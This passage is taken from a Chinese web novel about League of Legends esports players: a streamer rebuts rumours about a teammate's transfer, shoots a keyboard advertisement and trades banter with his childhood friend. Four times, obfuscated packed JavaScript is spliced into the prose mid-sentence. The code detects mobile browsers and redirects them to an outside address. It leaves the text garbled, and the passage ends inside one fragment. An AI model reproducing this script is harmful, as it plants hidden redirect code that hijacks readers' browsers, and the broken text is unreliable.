具体表现为猜测不是钟络自己想走,是HG有了廖望延就卸磨杀驴擅自把他挂牌售卖的。还有人猜测廖望延自从进了HG就故意针对钟络,想要强行把人逼走,为的就是自己地位不被威胁。 DL的公告下乱成一锅粥,廖望延树大招风,一旦有什么消息能牵扯上他,就会有各种不和谐的声音冒出来阴谋论。 对此,事件风暴中心的两个当事人倒是没有任何表示。 钟络刚到新队伍,一切事物都需要适应,既然选择离开HG,他就想从DL打出成绩,好让所有人知道他不是废物,所以战队发了公告后他只是默默的转发就退出了微博。 DL除了他还有个原本的老打野,买了他也不证明他就能当首发,DL教练组的想法是互相竞争,谁强谁就上赛场,这种方式更加剧了钟络的紧迫感。 廖望延更是早就习惯了这种对他的流言蜚语,每天乐呵呵的操练队友,根本懒得分出精力对线黑子。 本来这件事也和他没多大关系,他贸然发声反倒是给了别人借题发挥的话头。 又过了一周,正好赶上周末,廖望延打开了半个月没开的直播软件。 看着滚动刷屏的弹幕区他淡定地喝了口水:“好久没见,想死我了吧水友们。” 【渣男!半个月前明明说了周末要开播!结果直接鸽到现在!】 【Mesh,还记得大明湖畔的水友们吗?】 【看不见你的每一天都度日如年,每天入睡都得靠你的直播录屏。】 【Clock被你挤走你什么都不说?】 【哟,队霸开播了啊。】 【少他妈乱说话,这是Mesh的直播间,别提及别人。】 等待了一周的黑子终于有地方发泄,一股脑涌入了廖望延的直播间,弹幕从一开始的玩笑调侃变成了乌烟瘴气。 廖望延本想当作没看见,但是奈何带节奏的人越来越多,他不得不回应一下。 他扭头看了老姚一眼:“姚哥,我能在直播间说一下钟络的事吗?” 还在用笔记本拍邵乖脑袋的老姚闻言一愣:“说呗,也没什么见不得人的。” “听见了吗?我这可是得到允许了,等我说完了别又去外面传谣。”他喉结滚动了两下,想了想措辞,“首先,我辟谣一下。说我是怕自己地位受到威胁所以针对队里老打野的那帮人,你们要是眼瞎就去眼科医院查查自己的病还能不能治好,治不好的话也可以换成脑科查查脑子。” “希望你们首先明确一个点,我的冠军是在几十万几百万人面前光明正大夺来的,不是用什么小手段骗来偷来的。如果作为冠军还没有自信,还要畏惧于别人会不会威胁到我的位置,那我这个冠军也就白拿了。” 他靠在椅子上看着仍然霸屏的弹幕笑了笑:“而且,钟络选手是自己想走的,不管是我和战队都没有人强加给他任何压力,如果你们不信,大可以在以后的任何时间找他取证,我随时等待打脸。” “一个选手选择去哪里,选择怎么打,都是人家自己的事,你们不管是真水友还是披着水友皮的黑子,都无权干涉他人的决定。咸吃萝卜淡操心,与其关心选手在哪打比赛不如看看自己家锅里的馒头够不够自己晚饭吃。” 说到后面其实廖望延也有点上火,这种和自己八竿子打不着的事居然还要自己来解释,简直就是在浪费生命。 “最后,我诚挚祝愿钟络选手能在新队伍发光发亮打出成绩。我从不畏惧有人比我强,我更怕没有比我强的存在,因为电子竞技的魅力就在于拼尽全力勇登高峰,这件事我就解释这一次,就这样。” 于琰在旁边戏精般地鼓了鼓掌,将脸凑到摄像头前嬉笑着说:“兄弟们,别再惹我们廖指导生气了呗?他一生气我们就要遭殃,可怜可怜没人权的孩子吧。” 【本来就和Mesh没关系,当事人自己不出来解释还要让别人来开口,真没担当。】 【说一个世界冠军害怕无名打野的威胁,真是我今天看见最好笑的笑话了。】 【有本事就在赛场上打赢Mesh咯~有些人的粉丝少在屏幕后面发一些癫言癫语。】 廖望延看着弹幕节奏又要被带偏,不得不再解释:“不是,你们别把重点搞错了啊,这件事重点在于钟络是自愿转队的,和其他人无关。我在这解释只是因为有一些言论容易带偏不了解事实的水友,和钟络自己解不解释无关,人家进了新队抓紧时间和队伍磨合没空解释很正常好吧。” 【了解了解。】 【明白,大家都还是专注自家吧。】 【别解释了,玩游戏吧。】 【老公今天打算播什么?】 “今天和教练申请了一下,毕竟半个月没直播了,给你们播一会休闲轻松益智类多人pk游戏。” 看着屏幕上滚动出无数不重复的游戏名,他扬起嘴角: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573028|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “欢乐麻将。” 【???】 【老子等了你半个月,你告诉我你要打麻将?】 【接下来我半个月的伴睡视频即将变成碰!杠!胡!】 不理会满屏的问号,廖望延自顾自打开了游戏,随机匹配了换三张的血战麻将。 于琰看着老姚离开训练室,自己也偷偷摸摸暂停了单排,贴着廖望延边看边指挥。 “打九筒!” “闭嘴。” “不是哥们,你打三筒干嘛啊?九筒留着生孩子吗?” “别闹!我有自己的想法!” “对家七条都碰了,你这八九条留着结婚吗?” “那不是牌库里还有一张七条吗,你瞎指挥什么。” 听着廖望延和于琰的争吵声,其他人也推着椅子过来观战,时不时插上两句话。 邵乖:“延哥,听我的,打这张。” 左星水:“Mesh,我觉得打这张好。” Nap:“水哥,这张感觉可以留啊,为什么要打?” 于琰:“廖望延!听我的!打幺鸡!” 旁边围了四个人叽叽喳喳,廖望延脑子都要炸了。 “你们很闲是吧?需不需要我叫姚哥进来给你们增加点训练量?比如多加几场训练赛?” 被威胁到的几人立刻推着电竞椅回到了自己座位前,除了于琰之外都开始正常训练。 只有从小就认识他的某人根本不畏惧他的威胁,还在拍着他的胳膊:“干嘛呢?出牌啊,你三个二条,先把幺鸡打了等杠啊!” 廖望延叹了口气,按照于琰的说法打出幺鸡,从此刻开始成为了于琰的工具人。 不得不说,于琰打麻将的技术比他强多了,本来都要输没了的豆子硬生生让他赢成了好几万。 正当于琰兴致勃勃的准备让廖望延再开下一把,老姚无声无息推开训练室的门走到他身后,用野兽般的眼神死死盯着他的后脑勺。 “玩的很开心啊于琰。”裹挟着咬牙的声音从他身后响起。 于琰光速抓着桌面将自己推回至电脑前,还要故作正经地问右边的左星水:“水哥,一会我准备玩一把卢锡安中单,你说我出什么装备好?” “装!你再给我装!”老姚一巴掌拍向他的后脑勺,将他拍得嗷嗷惨叫。 廖望延直播间的水友见状纷纷打出哈哈哈,一个哈字占满了整个弹幕区。 “Mesh,先停一下,国柱跟我说给你发消息了,但你可能没看见,你先回一下他。”老姚开口道。 廖望延退出游戏拿起手机,发现经理确实给他发了两条消息。 [182清纯男大:Mesh,我跟老姚请过假了,周一你跟我一起去拍K家键盘的宣传照和宣传片。] [182清纯男大:今天尽量早点睡,明天挺早咱们就得出发。] 给刘国柱回了个ok的熊猫头表情包,廖望延登上lol游戏:“行了,麻将打的也差不多了,后面再给你们播两小时正常rank。” 29.Chapter 29 鸽了半个月的廖望延给水友们播了九个小时,除了一开始那一个小时的欢乐麻将之外,他连续单排了八个小时没休息,连晚饭都没吃。 准备下播的时候他给水友们在摄像头前敬了个礼:“同志们,今天一天算是把之前半个月的时长都补回来了吧?可别再说我是鸽子了。” 他手指插进发间,将头绳扯松,用耳机压着刘海,松了松肩膀。 “还记不记得半个月前我说谈了个新商务?明天去拍宣传照,应该用不了多久就能发售了,到时候你们别忘了买。” 【刚想问你键盘什么时候能买,老公我们果然心有灵犀。】 【快去休息吧,一礼拜之内都不说你是鸽子了。】 【老公,床暖好了,快进来。】 廖望延对着镜头打了个哈欠,惫懒地和水友告别:“溜了,下次见。” 按下下播按钮,关掉电脑,廖望延起身在原地蹦了两下。 在椅子上连续坐着九个小时没动弹,他身子都木了。 把外套挂在自己臂弯,出了训练室的门刚想上楼,也不知道是下意识的反应还是什么,他往客厅看了看。 结果就看见沙发上躺着个人,沙发靠背挡住了身躯分不出是谁,只能看见那个人翘着二郎腿,脚还不住地在摇晃。 廖望延止住脚步,将脚尖换了个方向往沙发那侧走。 走近一看,不是于琰又是谁。 “都这个点了,不回去躺着在这干嘛呢?” 于琰扣下手机,一个鲤鱼挺身直起腰板,从怀里掏出一瓶牛奶和一袋小面包。 “你晚上光顾着直播都没吃饭,我也不好打扰你,就想着等你完事了叫你吃点东西。” 他将手里的东西递过去说:“这牛奶是一个只在晚上出摊的大叔卖的,新鲜纯牛奶,没有防腐剂的那种哦,现在还温乎呢,赶紧喝了好回去睡觉。” 廖望延接过吃食,温的塑料瓶身其实还不如他握了九个小时鼠标的手心热,但他就是觉得心里熨帖,仿佛于琰怀里的温度顺着塑料瓶传进了自己手里。 其实他早就饿过劲了,现在掌心捏着那袋面包却又觉得胃里莫名空起来。 “宝贝儿子知道心疼爸爸了,太欣慰了。”他将面包和牛奶都抓在左手里,右手随意呼噜了几下于琰的乱发。 于琰边穿拖鞋边扒拉开他的手,右膝盖跪在沙发上,左边长腿一迈就直接越过了沙发靠背。 廖望延支起手臂想让他搭着,怕他万一没站稳摔个倒栽葱,结果有些人根本不领他的情,两根手指捏住他小臂上的皮肤顺时针拧了半圈,钝痛感让他轻微挑起眉。 他用牛奶瓶的瓶口戳了于琰侧腰一下,于琰一时不查被他戳得一哆嗦。 廖望延知道他腰侧敏感,从腋窝往下到胯骨往上,不管碰哪都是一激灵,刚好能报复被掐的仇。 二人就像小学生一样互相使着小动作上了楼,临分别开的时候他叫住正要推门而入的于琰:“儿子,你爸明天出门,自己好好训练,回来我要检查的。” “你最好是别回来了。”于琰半个身子跨进屋,只剩胸部往上的上半身还在门外,他故意扮了个鬼脸,“明天终于能偷会懒了。” 廖望延不以为然地笑笑:“我立刻告诉姚哥你的训练不饱和,争取明天让你度过充实的一天。” 回应他的是一声巨大的关门声。 廖望延回屋的时候还在想,于琰的房门早晚得被他自己拍烂。 转天早上七点,廖望延定的闹钟准时在床头响起。 他从被子里伸出手将闹钟按断,花了十分钟才醒盹,昨晚招惹于琰的代价就是被他无休止的微信表情包刷屏,闹到最后他不得不将手机开启静音模式。 解锁手机一看,于琰这个狗崽子硬生生在自己开了静音以后又发了99+的表情包,他右划准备删掉聊天框,可想了想指尖又停顿下来,犹豫两秒还是点开了消息框,从未读的第一条划到最后一条,确认了于琰发的全都是表情包而没有正事,他才将手机扔到床上去洗漱。 穿戴整齐下楼的时候,刘国柱已经在沙发上等他了,睡眼惺忪地朝他招手:“Mesh,走吧。” “嗯。” 今天的拍摄在R市,T市的旁边,刘国柱开了三个小时的车才开到了目的地,R市的气温比T市平均要低个三四度,二人本来穿的就不多,被风一吹更是透心凉。 二人抱臂进了大楼内,K家的工作人员迅速发现了他们,连忙从前台倒了两杯热茶递到二人手里。 “今天突然就冷下来了,是我疏忽了没提前跟你们说一声多穿点。” “没事,也就几分钟的事,咱们是什么流程?”刘国柱喝了口茶,热水从嗓子流进胃里,驱逐出了体表的寒气。 “是这样的,一会Mesh先跟我们去化妆,化完妆先拍宣传照,然后还要拍一个短片。”工作人员从前面带着二人进到电梯里,“宣传照是一套衣服,宣传片还要再换两套,整体流程不会很繁琐,Mesh你跟着指挥摆动作就行,顺利的话下午六点前肯定能完事。” 随着电梯叮的一声响,三人进到了工作区域。 廖望延跟着工作人员进了化妆间,给他化妆的是个20多岁娃娃脸的姑娘,虽然她面前的化妆品很多,但她本人却几乎是素颜,看见廖望延的时候她还惊讶地开口:“这么帅啊。” 被人夸奖很难不开心,廖望延含着笑坐在椅子上,化妆师先给他喷了一层保湿喷雾,然后就凑近看了看他的脸,啧啧出声:“我还以为今天化妆过程会很困难呢,一开始我心想,电竞选手那还不得长着满脸痘,还得有两个怎么遮也遮不住的黑眼圈,现在我算是开眼了,你这根本都不怎么需要我嘛。” 廖望延笑着摇摇头:“刻板印象不可取,我们LPL有很多长得不错的男生,有兴趣的话可以去看一看。” “是得看看,长得帅游戏还打得好,你得有不少老婆粉吧?可惜我只会玩消消乐。” 化妆师边和他聊天边上妆,往铁盘上挤了两种粉底液进行调和,轻轻刮在他的脸上又用粉扑拍开。 廖望延虽然是电竞选手,但他极少熬夜,也就只有刚开始打职业的前两年他才通宵练技术,后来成绩稳定了他就把生物钟固定在了早上8点起床,晚上12点前结束训练,所以他的皮肤状态较联赛的大多数人来说都优越得多。 更何况爸妈给的基因也好,他青春期都没长过几颗痘,凭借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14582618|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着这张脸在他还没打出什么成绩的时候就有了老婆粉。 定完妆后,化妆师又给廖望延浅浅勾勒了几下眉毛,用眼影加深了一下眼窝,几乎没用得上15分钟,全脸就已经搞定了。 廖望延的头发已经有一阵子没剪了,刘海长过了眉眼,平时在基地训练的时候他都是直接把刘海绑成小苹果头才不会扎眼睛。 化妆师把夹板插上电,将他的刘海放下梳成中分,用夹板夹出层次和纹理感,本来脸就小的他做完头发之后简直成了巴掌脸。 化妆师把他的椅子转到后面,自己则是后退了几步,仔细欣赏了一下廖望延优越的造型,环着臂点点头:“你放心,等你宣传照一出肯定又能吸来不少粉,你这脸打电竞都有点屈才了。” “那我就先谢谢你的巧手为我带来新粉丝了。” 廖望延脚下一用力,将自己转回到镜子前,左右扭动了一下脸,满意地吹了声口哨。 化妆师从后面拿出来一套衣服递给廖望延:“我先出去了,你把衣服换上吧,鞋子在化妆台底下。” 她走到一半突然顿住脚步,扭头看向他:“对了,以后想换发型的话可以考虑一下圆寸,你的脸不走硬汉风可惜了。” 廖望延不置可否,等化妆师从外面关上门,他抖开叠好的衣服。 那是一套常规版式的休闲服,卫衣+灰色运动裤,为了搭配键盘的黑色所以卫衣也选择了同色,但卫衣上的样式却并不普通,大片的鲜艳刺绣和冷银色铆钉将国潮与朋克元素糅合在了一起。 将衣服套在身上,蹬上黑白拼色的板鞋,廖望延打开门,化妆师已经不见踪影,只剩刘国柱和工作人员在门口等候。 刘国柱看见做完造型的廖望延不禁感叹:“Mesh,如果有一天你不想打电竞了,真可以考虑考虑进娱乐圈,你这脸不上电视真可惜。” “刘哥,彩虹屁什么时候都可以夸,咱们还是先干正事吧。”廖望延低头将运动裤的松紧绳系上,拿上键盘跟着工作人员往摄影棚走。 “Mesh,这是摄影师,一会跟着他的指挥来就可以。”工作人员说完就带着刘国柱走了,他则是站在了拍摄范围内。 摄影师是个留着长发蓄着络腮胡的细瘦中年男子,他把相机拿在手里,很快就进入了状态。 “帅哥,麻烦身体往左边转半圈但是脸不要动,对,把手插兜,键盘卡在你裤子和手腕中间。” “目光强硬一点,把我当作你的对手,你现在太平和了,要凌厉起来。” “okok,我们换个动作,正对我把键盘托在右手小臂,左手手指搭在旋钮上但是不要挡住旋钮,没错没错。” “下巴稍微仰起来一点,俯视我,对对对,就是这样不要动。” “ok现在麻烦你坐下来,把键盘放在大腿上,低头看键盘,手指可以放在键盘上。” “帅哥有女朋友了吗?把键盘当成你女朋友,温柔地看它。” 廖望延听着摄影师的话,脑子里不由得闪过于琰的脸,二人从小到大的回忆像幻灯片一样从他脑子里一帧一帧播放。 在他没有意识到的时候,他的眼神已经从强势变为柔和,期间伴随着摄影师咔咔的拍照声。 30.Chapter 30 廖望延感觉自己像一块橡皮泥,被摄影师揉圆搓扁的来回捏姿势。 一个多小时他换了十多个姿势,摄影师似乎拍上了兴致,将及肩的长发用黑色橡皮筋盘了个小丸子,手中的相机咔咔声就没停过。 一直拍到了下午一点,摄影师才大手一挥宣布结束,旁边站了半天的刘国柱从保温箱里掏出一份盒饭递到廖望延手里。 “快吃吧,还热着,一会还要拍宣传片。” 挺了两个小时的肩膀终于能自然垂下,廖望延接过盒饭打开塑料盖,里面是三荤一素的常规菜,他用脚拉过来一个箱子充当凳子,就在摄影棚里不顾形象地吃了起来。 昨天晚上于琰给自己留的小面包和牛奶不怎么顶饿,今天早上又没吃早饭,他早就饿的前胸贴后背,拍宣传照的时候他觉得自己胃里发出的咕噜声可能所有工作人员都听见了。 狼吞虎咽地塞下吃食,正喝水的时候,那个摄影师又捧着盒饭走到了他身边,兴致勃勃地问:“帅哥,你们打游戏的都这么帅吗?” 还没等廖望延开口,身边的刘国柱先接过了话茬:“哪能啊,我们家这个已经是颜值TOP1了,但是我们家还有一个长得好看的,我给你看照片!” 他边说边掏出手机,将于琰的朋友圈打开翻出日常照怼在了摄影师眼前:“看看,这个是不是也好看!” 摄影师把盒饭放在腿上,接过手机一张张翻看着照片,边看边称赞:“这个也好看,不过和这个帅哥走的不是一个路线,照片这个属于阳光小狗类型。” “确实是阳光小狗,性格和长相成正比的那种。”廖望延把水瓶放在脚边笑着说。 “你是硬帅,他是带氛围感的帅,你俩要是能在一块拍个品应该反响很不错。” 摄影师把手机递还给刘国柱,又重新捧起盒饭。 “哈哈,以后如果有机会的话肯定让您来拍。”廖望延边回话边掏出手机跟于琰发短信。 【Y:摄影师夸你帅。】 【傻狗:夸我?为啥?】 【Y:刘哥给人家看你的照片了。】 【傻狗:人太帅也是一种负担,唉。】 【Y:德行。】 放下手机后廖望延将胳膊肘支在大腿上,手心托着下巴和摄影师有一搭没一搭的聊天。 摄影师边吃饭边八卦:“对了帅哥,你有女朋友了啊?” “什么?!我怎么不知道?Mesh你有女朋友了?”刘国柱一口水差点没直接喷在摄影师脸上。 “没有,为什么这么问?”廖望延不解。 摄影师把最后一口饭塞进嘴里扣上盒饭的盖子:“刚才让你摆姿势的时候,我让你在心里想女朋友,把面部柔和下来,你几乎没怎么需要我强调就调整好状态了,我还以为你是按照我说的做了呢。” “没有,就是想到了个朋友。我们打游戏的也抽不出时间谈恋爱,时间都放在训练上了。”廖望延扬起嘴角,笑着摇摇头。 摄影师站起来将盒饭的空盒扔进垃圾桶:“看来你和你这个朋友关系肯定不错。” “是很不错。” “行了,既然都吃完了咱们就继续吧,宣传片比宣传照麻烦,抓紧时间拍,早拍早完事。”摄影师四处看了一圈,正好看见在旁边聊天的化妆师,“琪琪,给他补个妆,宣传片的衣服也记得给他。 ” 廖望延又被塞进了化妆间,化妆师叼着根棒棒糖把他脸上稍微出油脱妆的地方补了补,从好几排衣架里掏出一套西服和一套家居睡衣。 “拍键盘视频,穿西服和睡衣?”廖望延眼睛睁大了些,似乎没明白这三者之间能有什么关联。 “摄影师让安排的,我也不明白,你就照着做吧,他那人艺术感天马行空,没人知道他想怎么拍。” 化妆师把棒棒糖咬碎,白色的细棍吐进垃圾桶。 “那我先穿哪个?”廖望延左右手各一套衣服,上下颠了颠问道。 “先穿西服。”化妆师关门前甩下这四个字。 廖望延叹了口气,将睡衣放在化妆椅上开始脱身上这套衣服。 白色带灰色竖条纹的衬衫掖进黑色西裤里,马甲则是和外套西裤一样为黑色,廖望延将枪灰色的领带绕在脖子上系了个温莎结塞进马甲里,又套上黑色戗驳领单排扣西装外套,踩上黑色亮面薄底皮鞋后他照了下镜子,觉得自己现在多少有了点斯文败类的感觉。 西服非常合身,可能也和之前工作人员询问过廖望延三围有关系。 当时问的时候他还挺纳闷,一个键盘的商务也穿不到正装,干嘛要问三围,结果没想到还真就穿上了。 拉开化妆间的门,被刘国柱和工作人员一步三回头的带到了另一个拍摄区域。 摄影师看见廖望延穿西装的第一眼就不禁吹了个口哨:“你这都能去拍杂志了帅哥。” 廖望延看了一眼拍摄地,场景被搭建成了商务性质的办公室,黑色沙发会客区后面是办公桌,桌上放着一台笔记本电脑,还有几叠文件放在旁边。 “帅哥,坐那吧,把自己当成一天就能赚几千万的老板。” 摄影师看廖望延从办公椅坐下时刮了刮下巴上的胡子,又不知道从哪掏出一副金丝边眼睛挂在了他的鼻梁上。 “ok,我们现在开始,一会会有工作人员假装你的下属给你送文件,你需要坐在这仔细翻看,然后皱着眉把文件扔回他身上让他重新做。” 廖望延原样照搬,工作人员伪装的下属把文件送到他面前,他接过后随意地靠在了椅背上慢慢翻看,其实纸上根本没有字,但他要装作这是一份涉及几千万的合同。 翻了两三页,他故意皱起眉头抿了抿唇,加快了翻页的速度,直到翻到最后一张纸,他啪的一下将文件摔在面前人的脸上,无视身边摄像机的拍摄沉声开口:“你就做出这种东西糊弄我?滚回去重新做。” 搭戏的工作人员弯着腰将地上的文件拾起来,假装慌不择路的后退出了摄像区。 “ok很好,接下来你就用电脑打字,装作自己很忙的样子。” 这可比刚才的剧情简单得多,廖望延手指搭在笔记本电脑的键盘上,打开了电脑自带的word随意的敲击。 摄像机排完远景拍近景,拍完近景拍手部特写和脸部特写,但其实面上一片沉稳的廖望延正在wor ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14597234|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' d上打出—— 于琰是sb,于琰是sb,于琰是sb。 一个场景拍了一个多小时,镜头都是打乱的,很多地方反复拍了好几遍,摄像师将片段看了很多次才宣布通过。 廖望延结束了第一幕的拍摄又回化妆间换上了第二套衣服,睡衣就比西装舒服多了,纯白色棉料材质,还给廖望延配上了同色的拖鞋。 第二幕又换了个场景,搭建为家居卧室,桌子上摆了一台曲面屏,主机箱是黑色海景房,拍品的键盘也放在了上面。 “帅哥,这次不需要你假装做什么,电脑都是现成能用的,你玩一把游戏就行。我需要你用寡妇这个英雄赢下比赛,最后结束的时候对着键盘笑一下。” 这比刚才穿西服拍摄的剧情简单一万倍,廖望延打开游戏开始单排,刚结束游戏的于琰给他发来游戏消息。 【鲨鱼之王:?】 【小嘴抹蜜:?】 【鲨鱼之王:不是拍商务呢?】 【小嘴抹蜜:是啊。】 【鲨鱼之王:那你现在这是干啥呢?】 【小嘴抹蜜:人家让我打一把游戏,这就是我的拍摄内容。】 【鲨鱼之王:你的钱为什么那么好赚?】 【小嘴抹蜜:嘻嘻。】 一把游戏结束的很快,26分钟廖望延就带领队友平推了对面,结束时他没忘了自己要做的事,但他也不知道该怎么笑,只能偏了偏头稍微扯起嘴角。 “okok,没什么大问题,接下来我们拍点近景,帅哥你就听我的摆动作就好了。” 工作人员说的没错,拍摄顺利的在六点前宣布结束,廖望延换回自己的衣服和刘国柱下了楼。 那个男性工作人员一直送到了他们将车开走,廖望延看了看后视镜,将副驾驶的座位往后倒了不少,半躺下感叹:“这一天够累了。” 刘国柱边开车边回:“是啊,从十点多到现在没怎么闲着,中午吃饭连半小时都没到。不过Mesh你镜头感真好,穿西装扔文件那里我恍惚之间还真以为你是个富二代老板呢。” 廖望延轻笑一声:“没有富二代的命,但是跟着于琰看了不少电视剧,也算是有样学样吧。” 二人聊着天返程又开了三个多小时,临到基地门口,廖望延让刘国柱把车停在一家面包店面前,下车时和他解释:“刘哥等我一会,于琰说这家店新出了个熔岩面包,我给他买一份。” 进店,买面包,结账,出店,总共没用得上五分钟,坐回到副驾驶的时候他还是沾了一身的冷气。 刘国柱边启动车子边看向他的打包袋:“没给自己买点?” 廖望延把袋子放在自己大腿上系上安全带:“我不爱吃这些东西,给于琰买就行了。” “你对他是真好。”刘国柱不禁感叹。 又开了不到十分钟,二人顶着黑夜进了基地,此时刚好十点过几分,训练室的门被打开,众人一窝蜂的出来。 廖望延朝于琰吹了个口哨,扬起自己左手的面包店袋子对他摇了摇。 于琰看见袋子眼睛一亮,跑着扑向他,小腿一个上蹬就挂上了廖望延的腰。 31.Chapter 31 像猴子挂树一样挂在廖望延身上,于琰支着身子抢面包,打开袋子深吸了一口气。 他道:“好香!” 廖望延空下来的双手一只搭在他腰上,一只托在他屁股底下,都松松垮垮没怎么用力。 “滚下来,你爹累一天了。” “嘿嘿,一会给你按摩。” 于琰把面包袋子叼在嘴里,双手支在他肩膀上借力,两条长腿一个后撤就稳稳立在地上。 “我跟他们要键盘了,键帽刻字需要时间,大概半个月之内快递送到基地。” 廖望延忙了一天也没忘记这件事,临走之前特意询问了一下工作人员,得到肯定的答复之后他还特意强调,如果不方便的话他可以花钱定制。 憨厚的工作人员连忙摆手说用不着,一把键盘如果还要代言人自己花钱买,那不是砸自己招牌么。 “嘿嘿,就知道你忘不了。”于琰边啃面包边乐。 “今天训练的怎么样?” 廖望延昨天晚上对他进行了重点嘱咐,要是因为自己一天没在就懈怠,那他就等着后面一周爱的毒打吧。 “单排连胜,战绩可查。” “算你懂事。” 刘国柱把从R市买来的特产糕点分给众人,手里边忙活边和大家絮叨:“你们是不知道今天Mesh有多帅,那西装一穿,眼镜一带,妥妥的网文男主。” “还穿西装了?!”邵乖边吃特产边从嘴边往下掉渣,“国柱,有照片没?” “嘿嘿,那能没有吗。” 刘国柱把手机相册打开,用双手当支架放在胸前给大家展示。 邵乖:“我靠?这么帅?” 左星水:“Mesh这么穿能去走红毯了。” 吴醒:“我也想穿成这样……” 于琰:“斯文败类老畜生的味都要从屏幕里冲出来了。” 一群人凑近刘国柱,弯着腰盯着他的手机,手指划动着相册,每看一张照片就发出一声感叹。 刘国柱歪着嘴的自豪表情就像是相册里的人不是廖望延而是他自己。 而照片本人就站在他们五步远的地方,抱着臂像没长骨头一样倚在墙上,盯着于琰因弯腰而翘起的屁股。 他盯了一会就逃避似的挪开视线,装作不耐烦地说:“真人就站你们面前,你们非要看照片干什么,想要签名的赶紧,等我一照爆红勇闯娱乐圈可就没这么好的机会了。” “看来是累得不行了,都开始说胡话了。”于琰直起身子,嘴里还叼着廖望延给他买的熔岩面包,转身后三步并成两步拽着他的手腕上楼。 “对未来的明星尊重点,我的保镖可不会顾及咱俩的关系。” 于琰扭头往他肩膀上怼了一拳:“说你胖你就喘是吧?” 这一拳轻飘飘的,连一成力都没用上,廖望延无声地笑了一下,顺着他的力道被带进房间里。 “快跟我说说今天都干嘛了?” 于琰把人推进床里,自己则是拉着椅子坐到床边。 “没干嘛啊。” “那你拍个键盘商务穿那么正式干嘛?” 廖望延猛然脑子里又浮现出那个长发络腮胡摄影师的脸。 他挪了挪身子,把上半身靠在床头解释:“那个摄影师可能是想拍出反差感,所以给我准备了一套西装一套睡衣,估计到时候剪出来的成品应该是我白天运筹帷幄晚上网瘾少年那种感觉。” “等我妈看了你的宣传片,你的衣柜里又会多出几套西服了。” 于琰根本不用想,自己那个颜控的妈绝对会这么做。 “那就提前感谢咱妈了。”廖望延翻身下床,“你也滚吧,我要洗澡休息了。” “大哥,还不到11点你就要睡了?”于琰不信,总觉得他要背着自己干什么,对于房间主人让自己赶紧滚蛋的话左耳进右耳出。 “要是你早上7点就起床,现在还不如我精神呢。” 廖望延脱下卫衣,露出紧实的上半身,常年的慢跑有氧将他身材维护得极好。不仅如此,HG基地里的健身房也是自从他来才避免了整日落灰的惨状。 看着倒三角的身材于琰伸出狗爪子摸了一把,啧啧出声:“我也想练成这样。” “让你运动比要你命都难。” 廖望延看着他还不走,把手放在自己的运动裤松紧绳上,抬眉道:“还不走?还想看哪?” “老子看了都怕长针眼。”于琰火速起身将椅子归位,目视前方快步出了屋。 静下来的屋子过了三秒响起一声轻哼。 “也就嘴上能耐。” 翌日。 睡了九个小时的廖望延照常八点起床。 凭借自律的男人最美丽这句名言,他把昨天欠下的慢跑还在了转天,硬是逼着自己跑了一个多小时。 他累得在基地前的长椅上瘫坐,连帽外套反穿,将帽子扣在自己脸上,心跳加速引发的轻喘不多时便将帽子里蓄满热气。 就这么坐了十多分钟,还没等他有动作,就有人拍了拍他的肩膀。 将兜帽一把扯下,廖望延眯着眼看人,才发现碰自己的是战队经理。 “刘哥今天来的挺早。” 刘国柱不住基地,他自己在离HG基地不远处的小区内有房子,平时都是上午来晚上走,步行单程也超不过20分钟。 “嘿嘿,来和你们宣布好消息的。” 刘国柱支起手臂让廖望延借力起身,二人边走边聊。 廖望延把黑色运动外套的两只袖子当成绳子系在腰间,懒散地问:“什么好消息?” 刘国柱卖了个关子:“暂时保密,等我把所有人都叫起来再说。” “这个时间叫人,可能叫起来的只有魂没有人。” “问题不大,等他们听完我说的事就都清醒了。” “哦?” 廖望延去餐厅倒了杯水,坐在沙发里等着其他人,经理则是上楼一个个敲门。 十分钟后,一群穿着睡衣闭着眼犹如活尸的队员在刘国柱的带领下自成一排乖乖落座。 “接下来请大家仔细倾听我要宣布的事情。” 刘国柱一语落地,只有某个早起晨跑的人应了声,其余人都半昏在沙发上没有动静。 于琰脑袋搭在廖望延肩上,坐着的姿势让他枕得不是很舒服,脑袋时不时打滑往下坠。 无奈之下,廖望延只好用手托着他的额头保持稳定。 被忽视的刘国柱也不觉生气,从包里掏出一个便携式小型扩音器,也就是现在学校里面教师上课会用到的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 